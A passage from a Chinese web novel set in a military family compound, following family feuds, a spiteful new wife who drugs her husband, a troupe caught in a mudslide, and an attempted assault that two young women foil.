附近散步的婶子赶紧把沈棠拉了起来,其余婶子则去制止何秋。 “这是咋了,这两人怎么打起来了?” “不知道哦,就听见沈棠妹子在那喊何秋欺人太甚。” 周玲听到附近的婶子说她家沈棠被欺负了,急匆匆的赶来,就看到了一个头发散乱,浑身狼狈、委屈、眼泪哗哗掉的侄女。 她火气一下就上来了,怒骂道:“何秋,自从你来了家属院,你看看你惹了多少祸事,刚住进家属院你就敢在家属院打人,以后是不是还敢杀人放火!” “不至于不至于,周主任你冷静一点。” 旁边的婶子纷纷劝她。 何秋也怒了:“我为什么不能打她,她勾引我男人!” 沈棠眼泪汪汪、面若无辜,懵逼的看着众人:“我没有啊,我好好的走路,她上来就打我!” 何秋不敢说自己给韩忠国下药了。 因为韩忠国即使被下药了,也不肯碰她。 这简直就是奇耻大辱! 在看到沈棠那副面若含春的样子时,她几乎想都没想,甚至连贺旭这个人都忘了,只以为她又和韩忠国勾搭在了一起。 冲动之下就动了手。 她恨不得撕碎她。 可沈棠力气大,她一点便宜都没占到! “你就是勾引韩忠国了,谁不知道你喜欢韩忠国啊,他现在不在家里,肯定就和你在一起!你快说,你把他藏哪了?” 那药药性极大,根本没有解药,要么靠忍,要么交配才能解掉。 她要是不快点找到韩忠国,岂不是便宜了别人? 何秋那个着急啊! 她好不容易才买到的药,连点肉渣都没吃到! 沈棠躲在小姨怀里假装抹眼泪:“何秋,你怎么能这么冤枉人,你都和韩营长结婚了,我怎么可能惦记你男人,我都是说我有对象了。 你上来就打我,你太过分了。” 她声音听起来就委屈,众人也不信何秋的话。 毕竟有不少人都看到了沈棠是和贺旭一起出的家属院。 “韩营长不在家,说不定是去宿舍了呢,你也不想想你自己欠了那么多钱,人家韩营长帮你出了,心里能高兴才怪。” 周玲的话给了众人启发。 大家又八卦的说起了何秋偷钱一事。 “我说呢,韩营长这两天脸色一直不好,出了这么多钱,搁谁心里能好啊?” “自己看不住男人,还污蔑沈棠妹子,她怎么好意思的?韩营长真是倒了八辈子的霉,才娶了她。” “她在家里连孩子都不管,韩义又来偷我们家的菜了,我跟她说,她还狡辩说没有这么样的事,可把我气的!” 何秋这会儿也冷静了点,韩忠国刚刚跑出来,肯定走不远,沈棠这副春意盎然的样子估计是和贺旭弄的。 她心里又酸又嫉妒。 当年她接近沈棠,就是想接近和她同一个大院还是邻居的贺旭。 没想到最后却便宜了沈棠! 贺旭那样的人,她怎么配的上? 她恨恨的道:“就算你没有勾引我男人,看你那副春样,指不定勾引了谁,你们现在都为她说好话,指不定你们家男人还惦记着她呢!” 周玲“啪——”的一掌扇了过去! “你嘴贱什么,我家棠棠这副样子不是被你打的吗?污蔑我家棠棠勾引你男人不成,还想往我家棠棠身上泼脏水! 组织建立家属院,是希望我们给军人们建立一个坚强的后盾,你现在不仅破坏家属院的团结,还污蔑我们保家卫国的军人同志。 我正式通知你,从明天开始,接下来三个月都由你来扫厕所。 你要是还敢胡说八道,我立刻上报给领导,全军通报并处分!” 何秋终于意识到自己刚刚说错了话。 现在不是八、九十年代,对男女关系看的尤为慎重。 她这样污蔑军人,严重一点是要被下放的。 家属院里的婶子们也嫌恶的看着她,离她远远的。 这人真是没救了。 何秋不敢在顶嘴,当务之急,是先找到韩忠国。 众人看她跑了,也纷纷散去。 最开心的莫过于何春花了,厕所终于有人代替她扫了! 果然何秋就是个瘟神,谁挨谁倒霉。 韩忠国家里。 韩义听到外面声音,悄摸叫醒自己弟弟妹妹,偷偷进了何秋的房间。 他讨厌这个后妈,平日里爸不在的时候,有点好东西她都藏起来自己吃了,根本不管他和弟弟妹妹。 他可看见了,后妈早上去市里回来的时候,买了一大包糖和饼干,就藏在柜子里。 三个小孩把何秋的房间翻了遍,最后不仅找到了那些糖果和饼干,还找到了十块钱。 韩义兴奋死了,这段时间家里天天吃青菜和窝窝头、红薯,一点油味都没有。 有了这十块钱,他们明天可算是能买顿肉吃了。 三人刚找到点东西,何秋便脸色阴沉的回来了。 她在外面找了许久,折腾到自己肚子也饿了。 原本是想从柜子里拿点饼干垫垫肚子,可一翻柜子才发现自己的钱和零食全没了。 何秋气的去敲三个孩子的房间,三个孩子哪敢开门? 她发起疯来一脚一脚的踹在门上,吓的最小的那个孩子哇哇大哭。 隔壁院子的人听见,不耐烦的对着她破口大骂。 何秋骂又骂不过,只能坐在门口掉眼泪。 这日子怎么就和她想像的不一样啊! 她想象中,应该是孩子孝顺,丈夫恩爱,有着花不完的钱,自己每天都能够打扮的漂漂亮亮的,然后坐等着韩忠国成为海市市长啊! 为什么重生以来样样都不顺? 何秋想来想去,忽然觉得这婚姻真没意思。 到了半夜,韩忠国穿着一身湿透的衣服回来了。 何秋心里发虚,又忍不住质问他:“你是不是又和沈棠搞在一起了?” 韩忠国冷着脸:“你在发什么颠?你给我下药这事我还没跟你算账呢!” “你连下药都不碰我,你还说你心里没人?” 何秋这回是真的哭了,她就那么不堪吗? 给他下那么浓的药,他竟然也不愿碰她! 早知如此,她宁愿嫁个上辈子那个,至少离了婚还有钱。 第一卷 第56章 榨干何秋的价值 韩忠国眼眸闪了闪,他是一个从来不肯吃亏的人。 自从何秋对他无用之后,他便已经在想着解决这个人的同时又能给自己带来巨大的利益。 何秋对他下药,他生气也厌恶。 可对一个人没有了期待后,他心里甚至连一份关注都不愿意给。 要说多生气,倒也不至于了。 尤其是他泡了大半夜的水,脑子无比清晰的时候。 “何秋。”韩忠国抬起她的下巴,看到她那张寡淡的脸时,眼里闪过一丝嫌弃。 “你已经是我的妻子了,所谓夫妻共患难,情谊比金坚,我与你应是这样。 所以你偷了家里的钱,我便帮你补上,你算计沈棠,我也不计较。 我不碰你,是因为我也是人,我也会生气,你做了那么事,我如果心里没有一丝芥蒂,你也不会相信的对吗?” 何秋本就心虚,她咬着唇道:“对不起,这事确实是我错了,可我也是因为太喜欢你了。” 韩忠国神情有一丝不耐烦,状似无奈的叹了口气:“我当然知道你的心意。 只不过这件事我需要有一个台阶才能过去这个坎,你今天给我下药,我不与你计较,但是我也希望你能够和我担起这个家。 你知道的,我们家的钱都已经为了你赔完了,如果我现在与你同房,那你有了孩子怎么办? 家里已经有三个孩子了,难道要让你的孩子连饭都吃不起吗?” 何秋还真没想过这个问题。 “可你不是有工资吗?” “我的工资有一半要给老家,当年家里有个参军名额,大哥和三弟让给了我,我也答应过,每个月要交三分之一的工资上去,这个工资至少要交到我退伍后,所以家里的钱真的不够我们一家五口吃饭。” 何秋心里不爽,可也知道这个时候不好顶撞认真和她谈话的韩忠国。 他的话也没错,自己要是现在怀上孩子的话,估计那三个小的能把自己害死。 她眼里满是恶毒,若是自己怀上孩子,她一定要先将那三个兔崽子弄死,免得他们来祸害自己! “所以,你明天去找周婶安排个工作,咱们家里多一份收入,我也能轻松点,以后你怀孕手里也有钱不是?” 韩忠国循循劝导,他不知道何秋刚被罚去扫厕所,只想着赶紧让她去挣钱,没看见孩子饿的去偷东西了吗? 他要名,也要面,何秋闹出的事多,可他真就这么离了婚,肯定找不到更好的,损失也惨重。 前些日子,何秋说海市会有几个大学老师被下放,还说出了名字,没到两天那些人就真的被下放了。 韩忠国这才对她说的梦有了几分兴趣。 他要榨干她所知道的所有信息,把从他这里拿出去的钱全部拿回来,再将她卖个好价钱出去,才不枉费他这些天的隐忍! 何秋一想到要找周玲,面色就尴尬起来。 周玲这个人,不涉及自己侄女时,做事是很公道的。 可自己与沈棠不共戴天啊! 韩忠国已经很累了,他没有多少心情哄着她,撑着身子的疲惫,丢下话:“明天你去方政委家道歉,我已经跟我们政委说过了,他会让他妻子一同陪你去。 何秋,家里没钱了,所以你必须要有工作,哪怕是扫大街也行。 如果你不同意,那我就只能让你回老家了。” 何秋蓦然抬头,回老家? 她一个城里姑娘,怎么可能去韩忠国的老家? 留他一个人在部队里,指不定他怎么偷吃呢! 别以为她不知道韩忠国对沈棠有好感! 第二天,何秋顾不得骂偷了自己吃食的三个孩子,被韩忠国耳提面命的带去了方政委家。 一同过去的还有二团团长妻子和二团的政委夫人。 对于韩忠国家里发生的事,两人也不是不知道。 二团政委还想让韩忠国离婚,三婚虽然稀奇,也讨不到什么好老婆,但总比败家子何秋好是不? 韩忠国没同意,他以为是韩忠国舍不得这么个高中毕业的妻子,他也能理解,换做是他的妻子赔了这么多钱出去,他也舍不得。 所以韩忠国请他妻子帮忙时,二团政委一口就答应了。 何秋三人是正午来的方政委家。 如果去周玲办公室找她,别说工作了,只怕还要被人看了笑话。 周玲还在煮饭,听到二团的政委夫人来了,心里也明白是什么事。 何秋做人还是知道体面的,韩忠国家已经没什么好东西了,所以她来道歉就带了一些青菜黄瓜。 里面唯一一块毛巾还是二团政委夫人送给她的。 穷到这个份上,二团政委夫人也是无语。 何秋见周玲面色不愉,赶忙道:“婶,我今天是来道歉的。” 周玲挑了挑眉:“何秋同志说的什么话,你什么时候对不住我了?” 何秋并不是个多聪明的人,重生以来做过的最成功的事便是抢了沈棠上辈子的丈夫。 被周玲这么一说,她便想提及这个事。 二团政委夫人都快被她气着了,她笑着抢过何秋手里的东西,硬塞进周玲手里。 “周主任,咱们也是多年同事了,你也知道我不轻易帮人求情。” 二团政委夫人也在妇联,不过并不负责安排工作的事,负责的是宣传。 她拉着周玲走到一边,低声道:“这何秋做事确实不怎么样,为人也小心眼。 我要是知道她是这个样子,我肯定让我家那个劝着点韩营长。 可说到底,最无辜最受累的是谁? 那不还是韩营长吗? 你也知道,韩营长前头那个是怎么出的事,怎么说也是为了咱们部队不是? 如今韩营长结婚,家里的钱却全部赔给了何秋爸妈,孩子都快吃不起饭了,咱们这些军人家属那能袖手旁观吗?” 周玲笑了笑:“我也心疼韩营长家那几个孩子,可你也知道,咱们军区随军的家属那么多,一个萝卜一个坑,底下排队要工作的,我到现在都还没能安排过来。 韩营长家有困难,那是人家造成的吗? 总不能让人家排了那么久的队,然后把工作让给韩营长家的吧?” 第一卷 第58章 贺旭吃醋,气的差点把牙龈咬碎! 贺旭坐在台下看着,目光灼灼的望着台上的姑娘,一曲终了,他眼神里的痴迷还未曾散去,就听到两旁的人在底下窃窃私语。 什么待会他要去表白,这束花够不够诚意? 什么人家看得上你才怪,二团的付副营长都早就等着表白了等等。 贺旭心里一沉,忽然觉得对象太受欢迎了也不太好。 正巧,身后一个营长戳了戳他的背,压低声音:“贺营长,我听军区里的人说你喜欢文工团一枝花,你要去表白吗?” 贺旭还没说话,旁边就有人替他解释:“表什么白啊?人家贺营长喜欢的不是沈同志。” “啊?又有新的八卦,我怎么没听说?” “我不可是胡言乱语,贺营长手下的兵郝运说的,两家世交,贺营长那是碍于家里照顾沈棠,不是喜欢人家姑娘,贺营长,你说是不是啊?” “这样啊,贺营长,你要是不喜欢的话,那我可就上了,我爸妈可天天逼着我相亲呢,要是我追到人家姑娘,过几天联谊会我就不用去了。” “滚!谁说老子不喜欢!” 贺旭气的差点把牙龈咬碎! 一群瞎逼逼的老男人,瞧见个姑娘就惦记,他呸! 郝运这个混蛋! 沈棠可是他对象! 他什么时候说过不喜欢糖糖了? 众人一听,你瞅瞅我我瞅瞅你,挤眉弄眼的传递消息。 正说着,台上沈棠再次上了场。 她穿的渐红长裙,手里拿的是红伞帽,唱的是《映山红》。 这是和对面团开始比拼唱跳了。 底下的两个文工团团长和一众领导都认真的观看起来。 沈棠是凭借舞蹈考进文工团的,她的身姿自然是柔美,舞蹈也编的不错,因为这首歌比的就是气音沉稳,她不敢大动作跳,只能尽量在手上多动作。 好在这时候的人都没有那么多计较。 沈棠一首歌唱完,下来也是汗水连连。 李红的声音倒是沉稳,不过估计是身姿太硬了,只能唱不能跳,一跳就感觉哪哪都不对劲。 下了台,她失落的蹲在沈棠身边念念叨叨:“完了,等回去我们团长肯定要骂我了。” 沈棠抿了抿唇,疑惑问:“你们团长这么凶吗?” 李红叹气:“哎,我原本就是怕我姑姑才去的隔壁市,谁知道那边的团长更加凶。 算了,我要是调你们团,你可别不欢迎我哈。” 沈棠难得交上了一个朋友,笑的软绵可爱:“不会,我在军区就林晓一个朋友,要是你来,咱们就是三人行了。” 李红觉得这姑娘太实诚了。 她冲她使了个眼色:“知道我们团领唱的那个吗?” 沈棠往前头看去,那姑娘身材高挑,听名字冷冷清清,但样貌却是温柔姐姐型。 “她叫石冰。” “石冰?”沈棠眉头紧锁,这个名字怎么听这么熟悉。 李红没听到她的低语,凑到她身边给她八卦:“咱们这次与你们团比拼的事就是她凑成的,知道为什么吗?” “文工团每年都有人去京都学习,难道她是想得到领导另眼相看,然后去京都的文工团?” 李红摇头:“听说她家里有人在京都当大官,为了喜欢的人才来的这边,她要是想去,根本不用废这么大劲。” “谁啊?” “鬼知道。” 她也就知道石冰心里有个人在中部战区,并不知道是谁。 为了促成这次两团比拼,她还特意拿出了两个去京都文工团的名额,可见家里的势力有多大了。 沈棠喝了一口水,看上面团体舞跳完下来,又有话剧的人上去。 忽然一个念头闪过。 石冰,那不是他们军区大院里市委书记石老爷子的长孙女吗? 不是她想不起这个人,而是石冰比她大了近六岁,原身有记忆起,就跟他们这群人不是一个团体的。 而且石冰十几岁时就随母离婚出了大院,偶尔会来军区大院看望石老爷子,原身也根本碰不到人。 她说这名字怎么这么熟悉。 沈棠又上台唱了两首歌,今天的演出才算完了。 反正去首都文工团的名额是轮不到她的。 一来她是个新人,二来这个名额多数是给舞蹈团的。 她下了台,忽然前方走来一个军人,是上次吃饭时遇见的付副营长。 男人脸很黑,几乎看不出羞涩的红晕,但眼里的喜欢和紧张却出卖了他的心情。 “沈、沈同志,你唱的真好,这是我送你的花,希望你喜欢。” 今天收到花的人很多,李红就收到了不止一束,沈棠原本想着收了也没事,侧头一看猛的发现脸色阴沉吓人的贺旭,连忙拒绝了。 “多谢多谢,这花我就不收了,我急着回练功室。” 付副营长很失落,但瞧见她谁的花都没收,也只能无奈的将花收了回来。 这时,贺旭走上前,将花往沈棠手里一塞,眉眼柔和:“唱的很好。” 沈棠眉开眼笑:“谢谢。” 付副营长挠挠头:“不是说要回练功室吗?” 他身后的兵很是无语,这智商真没救了。 人家姑娘摆明了就不喜欢他啊! 站在不远外的石冰看到这一幕眼眸闪了闪。 国庆演出后,他们有一天假。 之后便要去乡下演出。 “这雨真是下个没停。” 众人坐在车上忍不住吐槽起来。 大家出发前还没怎么有雨,出来没多久又开始下雨,导致他们这个半个月来出任务一直不怎么顺利。 沈棠和李红坐在一起,对面则是石冰。 李团长邀请两个人军区文工团,两人同意后便被调了过来。 石冰直接担任歌唱队领唱。 也有人不服。 奈何人家资历摆在这,但凡有不服着,人家不与你争辩,直接比试,让不少人就此接纳了她。 沈棠和李红都是既合唱之后还要独唱的,比其他人都要累。 这会儿互相靠在一起差点昏昏欲睡过去。 忽然,车猛的停下。 “怎么了?” 有人问前面的司机。 “有颗树倒了,前面的同志已经搬开了。” 车辆再次驱使起来,沈棠和李红已经没了睡意,喝了两口水便拿出包里的饼干垫垫肚子。 没过多久,车再次被石头逼停,又再次启航。 李红还笑着打趣:“这一路走走停停,好像老天不想让我们去乡下似的。” 第一卷 第59章 沈棠出事,贺旭脸色发白 他们军区里有固定任务,每个月都要下乡演出,尤其是国庆,下乡的地方就更多了。 这次要去的是个山区,里面有不少知青和退伍军人,因为路远,其他村子都表演完了,才轮到他们。 今天的雨也不大,大家也是想着尽快表演完好放假。 “别这么说,小心成真,我可害怕了。”沈棠小声劝她。 李红色眯眯的摸着她莹润笔直的手,嘴角翘的弧度老大了:“好好好,不说就不说嘛,我又不是乌鸦嘴。” 沈棠嘴角抽了抽,将手收了回来。 色胚,别以为她不知道这姑娘调过来根本不是因为团长凶,她就是看到了帅哥才来的。 对面的石冰将这一幕收入眼底,脸上挂着温柔的笑:“沈同志,我一直没问你,你爸爸是不是沈沐师长?” 这话一出,大家都侧目而去。 之前因为许婷陷害沈棠,大家都知道这姑娘不是什么臭老九女儿。 但对她的身世可一直没有定论。 这会儿听到石冰的话,大家都升起了好奇。 沈棠点点头:“冰冰姐,真是好久没见你了。” 石冰眼眸一闪:“是啊,好久没见了,没想到你刚进文工团就在国庆上独演奏了三四首歌,真是厉害。” 沈棠:这话怎么听着那么不对劲呢? 许婷一直在闭目养神,听到这话忽然就笑了:“我还以为有些人多么厉害呢,来部队两个月一直请假,还能当上主唱,可真是厉害啊。” 石冰似乎意识到自己说错话了,拧眉呵斥道:“许同志,李团长为人公正,我相信沈同志是靠自己本事才拿到独唱资格,你何必恶意揣测人家?” 许婷也不跟她争辩,嗤了声就打算闭上眼睛。 忽然,一道清冷的声音传来:“道歉。” 许婷不耐烦的朝沈棠看去。 那姑娘紧抿着唇,浅褐色的眸子透着几分坚毅:“你说我靠的是家世,那你自己呢,当领唱那么多年也是你本事不行,李团长公私不分吗? 还有冰冰姐,她家里和我一样,她一来咱们部队就是领唱,难道也靠的家里吗? 难道家里有点背景,就要标上签,特意说明她这个人半点本领都没有吗? 我相信李团长的眼光,我也同样能做的好。 所以许同志,你应该向我道歉。” 石冰意外的看了沈棠一眼。 心里的冷意越来越盛,本以为是只小白兔,原来急了也会咬人啊…… 他喜欢的就是这样的人吗? 石冰柔柔的看向许婷:“沈同志说的没错,许同志你应该向沈同志道歉。” 众人听了许婷的话差点被带偏,纷纷用歉意的眼神看她。 沈棠这一番话说的好。 能来军区文工团的,哪个没有背景? 若是真没有实力,李团长怎么可能会让自己手下的兵出去丢脸? 许婷明显就是嫉妒不成,还挑拨歌唱队团员之间的关系。 许婷冷哼,想她道歉?下辈子吧! 大家对许婷嚣张的态度厌恶不已,但也不敢对她怎么样。 毕竟人家还有个师长姨妈在这。 车很快就抵达了山村。 从敞篷后面看去,雨过天晴,满山青绿,倒是别有一番意境。 他们是早上表演,下午回去。 不过因为大雨来的突然,大家表演到一半又停了下来,折腾了许久,才终于表演完。 这年头娱乐少,又下雨没法去田里务农,差不多整个村子都过来看他们表演了,有的甚至还是从其他村子骑自行车过来的。 好不容易等大家散去,文工团的人也要开车回去了。 突然,山头石头滚动,一股硝烟随着白雾升腾,如黄河倾泻而下的泥水滚滚而来。 “快跑,是泥石流!” 众人惊呼一声,这时候开车都来不及了,大河村地势本来就矮,大半个山体的洪水从前方冲刷而下,几乎没给人反应的时间,夹在中间的人只能赶紧往两侧山上跑。 房屋瞬间就被淹没在黄泥之中,土石建成的房子挡不住一击,跑的慢的人竟全部被淹没在下面,可偏偏这时候还有不少人顺着水流前进的方向跑! 沈棠瞳孔一缩,拉着李红往两侧山上狂奔,一边喊话:“朝两侧山上跑,别往前跑了!” 只记得往前跑的众人都是太过紧张慌了神,听到她的话后下意识的跟着她往山上跑去。 泥石流冲刷下来的速度太快。 即使有不少村民跑了出来,却还有几个人淹没在其中。 尤其是一些没来得及跑出来的人都被困在了屋顶上,要是不及时营救,只怕坚持不了多久。 与此同时,部队那边收到了通知。 “大吉村、大河村两个灾难地点,那不都是咱们文工团去乡下巡演的地方吗?” 郝运听到这个消息也不淡定了。 他对象今天没去乡下演出,但沈棠所在的歌唱队今早可都去了那边啊! 一团团长立马组织人救灾。 上了车,瞧见贺旭脸色发白,瞳孔颤动的模样,心里也有些不忍。 贺旭一回部队就打了结婚报告,对象还是文工团沈棠同志,这人当时不知有多开心呢。 突然发生这种事,真是谁也想不到。 一路上,贺旭手里都紧紧攥着一张照片,眼神里满是担忧。 大河村,文工团的女兵瘫坐在半山腰上。 “呜呜……怎么会发生这种事,早知道会出事,我还不如去其他的村子呢。” 文工团那么多人,自然不可能都去一个地方。 谁知道就这么倒霉,遇到了泥石流。 文工团不少人在哭。 连李红都吓的脸色发白,刚刚要不是沈棠拉了她一把,她现在还没反应过来发生了什么事。 沈棠也红了眼眶,她前世今生也就见过一次这么大规模的泥石流,她现在腿还是软的。 村民们更是哭的眼睛都肿了,有哭儿子的,有哭爹娘的,简直如人间炼狱般,每个人都止不住泪水。 不知过了多久,泥石流终于停止了。 偏偏这个时候又下起了细雨。 李红担忧道:“大河村地势比较矮,这么大的泥石流,那些被困的人要怎么救啊?” “你还有空担心别人?要是回不去,我们该怎么办啊?” 文工团的姑娘们纷纷议论起来,他们的车子都陷进去了。 第一卷 第60章 沈棠紧张的抓紧了李红的手。 沈棠看到底下的村民都奋不顾身的救人。 她咬了咬唇,冒着雨水站起来:“慌什么,我们都是女兵,遇到事难道就只会哭哭啼啼吗? 这里的百姓需要我们,我们不能坐以待毙,有没有人愿意和我一起,去帮助那些需要我们帮助的村民?” 李红也站起来:“我随你一起去。” 许婷冷哼:“你说的倒是轻巧!” 她全身都湿透了,又穿的紧身衣服,难受的要命,哪有心情去救别人? 石冰站起来:“沈棠同志说的对,我们是军人,灾难面前,岂能退缩?” 她本来就是这个团队的领队,话已经被沈棠抢了,行动自然要加快。 不愿意的人看到愿意的,也犹犹豫豫站了起来,害怕的人则去照顾老人,鼓足勇气的人则跟随着沈棠和李红她们一同为那些村民搭把手。 她们其实并不懂怎么救灾,见村民从没被淹的家里拿出绳子和铲子开挖泥土,便也过来帮着干。 开车的司机也是军人,早就和文工团的男兵组织了一批人救灾,这会儿见到几个女兵到来很是意外,反应过来立马指出几个安全一点的地方让她们搬杂物。 这次的泥石流还不算特大,水顺着中间的凹糟部分往后流,前面被泥土覆盖住的房子也就显露出来。 随着一个个人被挖了出来,那几个人的家人哭的差点断气。 回去的路被坍塌的山体堵了,这会儿大家都只能冒着雨将地方清理出来。 知青们自发给他们烧了热水。 大部分乡下人家没有多余的衣服,知青那点衣服也够不了所有村民。 文工团的众人就只能忍着身上的黏糊,端着热水在炉子旁烤衣服。 忽然,外面传来吵闹声,沈棠和李红对视一眼,裹紧身上军装外套走了出去。 知青点地势高,没怎么受灾,这会儿这地方聚集了不少村民。 吵架的是知青、文工团女兵以及村民。 因为整个村子几乎全部被淹,这么多人又受凉又挨饿,冒着大雨救灾,早就支撑不住了。 村长带头借知青的粮,说是等清理干净房子在还给知青们。 可知青也不傻,他们手里就那么点粮食,平日里自己都不够吃。 即便把手里存的粮全煮了也只够村子里的人省着吃三顿。 加上村子前头的路又被堵了,谁知道什么时候才能出去,万一要等好几天,他们岂不是要饿死? 扯来扯去,知青们退了一步,拿出一袋红薯给了村长,只要熬成粥,每人一口还是可以的。 只是军区文工团这边就没人管了。 女兵们平日里为了维持身材本来就吃的不多,又帮村民清理了泥石,早已饿的饥肠辘辘,此刻见知青和村长都不管他们,自然就有人上前议论。 石冰和司机小刘上前跟知青们商议,打算用钱买一袋红薯。 可早年吃伤了的许婷不愿意吃红薯,非要吃白面或者精米。 偏偏石冰手里的钱还真的够买精米。 她自己从小到大也没怎么吃过红薯,便觉得买一袋子精米也成。 这下就把知青们惹恼了。 有精米和白面的人手里都不缺钱。 甚至有些家里就在军区。 灾情之中,石冰用正常价格买精米也就算了,还要煮饭煮菜吃,这谁家能禁得起嚯嚯啊? “你们爱吃不吃,就只有红薯,白面这玩意多难买?我们自己都舍不得吃,你们用原价买就算了,还要我们帮你们煮饭菜,你们当我们傻子呢?” 石冰赶紧道:“同志,你别生气,红薯就红薯吧。” 许婷在旁边叫嚷:“我多给点钱还不行吗?我不爱吃红薯,这玩意一点也不好吃。” 沈棠吃过红薯,这时候的红薯并不像后世那般又甜又好吃,味道真的一般般。 不过确实顶饱。 石冰心里也烦,素来温柔的表情有些龟裂。 “这样吧,我的钱只够买红薯,你要是想吃白面或者精米,就花三倍的钱去找人家买。” 许婷哼了声,从口袋里掏钱:“买就买。” 重金之下,还有人愿意帮许婷做白面和精米。 其他人也有学有样,个个自己掏钱买白面吃。 沈棠没吃白面,她兜里也有钱,但村子的人都聚集在这里,女兵们花钱如流水,指不定会引起一些二流子的注意。 她和李红吃了饭,因为人太多了,大家都只能挤在一间房靠着墙睡。 晚上没点灯。 女兵们觉得不安全,上厕所都是一同去的。 夜晚罕见的没下雨。 沈棠睡的不熟,忽然有人悄摸推门进来。 李红动了动手,沈棠按住她,示意她当做没看见。 她们这间房里睡的全是女人,小偷偷点钱离开就算了,没必要出来当冤大头,保证自身安全最重要。 大家衣服都半湿不干的,靠着冰凉的墙壁,谁能那么快睡着? 醒着的绝对不止她们两个。 那人在搭着的衣服上的衣架上摸索了个遍,大概是没摸到什么,有意朝着女兵的位置走来。 沈棠不由抓紧了李红的手。 对方很熟悉女兵睡觉的位置,摸东西的速度很快,应该是个惯犯。 就当他朝其中一个女兵摸去时,那女兵吓的尖叫一声,拿起衣服就朝他揍去。 动静闹大了,其他人自然也不好装睡,点灯的去点灯,抓人的抓人。 却不想那人十分滑溜,直接翻窗逃了出去。 许婷连忙去查看自己的包,里面的钱果然没了。 气的她破口大骂:“你们难道就没看到有人进来吗?一个个的睡的跟猪一样!” “谁让你白天那么阔的,人家怎么不偷我们,就偷你,你自己不也是睡的跟猪一样。” “就是,平日里她就嚣张跋扈,把我们当丫头使唤,真以为自己是个千金大小姐了?” 众人你一眼我一言的将往日的矛盾怨恨发泄出来,眼看就要吵起来,石冰出来打了个圆场,众人这才睡下。 但大家都不愿意挨着许婷了,连王晓雨都不愿意搭理她。 许婷又气又恼。 她没被处分前,全都捧着她,石冰来了之后,个个都捧人家臭脚去了! 见风使舵的人,她才不愿意和她们相处! 第一卷 第61章 沈棠震惊:小说误她矣! 第二天,众人感冒的感冒,发烧的发烧。 一个个的别说去清理道路的泥石了,起都起不来。 沈棠身子本来就不太好,因为昨日受寒,这会儿也感冒了,一直咳嗽的个不停。 用了红薯粥,石冰发话:“一直等军区那边的人来也不是办法,咱们还是得去把道路清理一下,再把车子修好,不然今天又得在这里待着了。” 许婷不耐烦打断她的话:“你说的倒是轻巧,可我们都病了,哪有力气去做那些累活? 嘴皮子上下一碰,就让我们出去干活,自己倒是会偷懒,昨天连个铁铲都没摸着,尽照顾老人去了,人家老人需要你照顾吗? 现在好了,我们集体病倒,就你一个人好好的,你自己去吧,反正我不去。 我就不信了,饿我三天还能把我饿死不成?” 石冰紧抿着唇,眼底闪过一丝阴狠,她真是厌恶死了这个嚣张话又多的许婷。 本来大家都意动了。 看不过去的徐慧站起来:“行了,你不去就不去,我们去,总不能一直让男兵们清理路。” 石冰来之前她就挑战对方,对她的实力她还是服的。 何况石冰本来就是他们的队长,她的话她当然听从。 早上男兵们已经来问过她们了,只是看着她们女兵都生了病,才没有要求她们一起。 李红悄悄问了句沈棠:“你还好吧?” 沈棠点点头,她的感冒应该不严重。 村民们都在清理自家的房子,他们几个人一早上也才清理了一点路出来。 中午回去的时候,沈棠感觉自己头昏眼花,吃了点红薯还没歇两口气呢,石冰又开始叫她们去挖路了。 挖到一半的时候,石冰自己先受不了,找了个回去帮大家拿热水的借口走了。 司机小刘看女兵们真受不住了,就让大家停下歇歇。 沈棠和李红一起回去上厕所。 刚到院子门口,就见石冰提着壶子出来,正巧挡在了两人前头。 “你们回来干什么?” 沈棠指了指里面:“上厕所。” 石冰神色有点不自然,笑着挽了挽碎发:“厕所门被锁了,不如你们去外面上吧。” 农村的厕所都会锁,一来是为了不让别人进去弄脏,二来是怕别人偷自家的肥料。 不过知青院的厕所这几天因为文工团的人要用就没锁了,毕竟他们也是交了钱的。 这会儿知青们都去帮村民收拾泥土去了,整个院子里就只有偷懒的许婷在。 要是锁了,倒也没什么好奇怪的。 许是人家不愿意给他们用呢。 李红有点憋不住了,扯了扯沈棠衣袖:“那我们去下边的厕所吧。” 沈棠点点头,就见石冰唇角勾着一抹不知其深意的笑,挪动脚步往前面走了。 她往院子里看了一眼,没发现什么,就打算离开。 忽然又耳尖的听到了一点动静。 有点像女人被捂住嘴巴发出来的“支吾”声音。 正想探头过去,就听见前头的石冰笑盈盈道:“怎么还不走?别耽搁时间了。” 沈棠冲她笑了笑:“好的,这就去了,你先走吧,我有点东西落在房间里了,想去找找。” 石冰眼神明显有些不自然:“好吧,那我先走了。” 说完,她就离开了知青院。 李红着急的拉了拉沈棠:“你落什么了?咱们等会回来拿,我快忍不住了。” 沈棠想起石冰百般阻拦她们,心里浮现出一点不好预感。 “可能厕所没锁门,你去看看。” 李红有点不相信,走过去一瞧,还真没锁,那石冰骗她们干嘛? 不过这会儿她也没空想那么多,快速解决了自己的需求,出来洗了手。 “走吧,咱们去拿你落下的东西。” 沈棠眼神闪了闪:“我没落下东西。” 她对李红做了个不要发声的动作。 然后示意她往外走,还做出跟她说话的样子。 自己则拿着铁铲悄摸走到宿舍门口。 “贱女人,还敢反抗?那女人明明听见了你的求救声,就是不愿意救你,你人缘这么不好,不如从了我,老子又不嫌弃你!” 男人的话粗辱又恶劣。 沈棠听的心里发毛。 石冰这个人未免也太记仇了,和她温柔可亲的表面根本不像是一个人。 许婷不过是怼了她几句,她竟然想毁了许婷的清白! “放开我,你放开我,我姨父是师长,你要是敢动我,我让你吃枪子!” “啪——” 男人一巴掌打的许婷头晕眼花。 他咧着大嘴露出发黄的龅牙,色眯眯的眼神打量着身下这具软娇白嫩的身躯。 “那正好,你给我当媳妇,说不定我还能在军区里混个干部当当。 看看这白寸衫,领口都敞开了,你穿成这样,不就是想勾引我吗? 我看上你,那是你的福气,懂吗?” “滚、滚啊!” 许婷尖锐的声音很快被他捂住。 衣服猛的被撕裂开,就在她绝望之际,一把铁铲狠狠打在男人的脑袋上。 沈棠还以为自己能打晕他。 结果人家吃痛了下,一点昏过去的迹象都没有,回头还恶狠狠的瞪着她。 沈棠震惊:小说误她矣! “臭娘们……” “救命啊!” 沈棠撒腿就跑。 李红听到声音,拿着铁铲冲了进来。 她身高一米七,力气贼大,一铁铲过去准确无误的打掉了男人三颗牙齿。 然后三两下将人按到了地上。 沈棠举起大拇指:“牛!” 李红:“赶紧拿绳子或者衣服,把他绑起来。” 许婷也回过神来了,她拿起旁边的铁铲狠狠敲在男人中间的三条腿,打的男人发出剧烈惨叫。 “老娘今天废了你!敢对我下手,我一定让你吃枪子!” 沈棠找了一圈,找到了几根绳子,将人捆绑了起来。 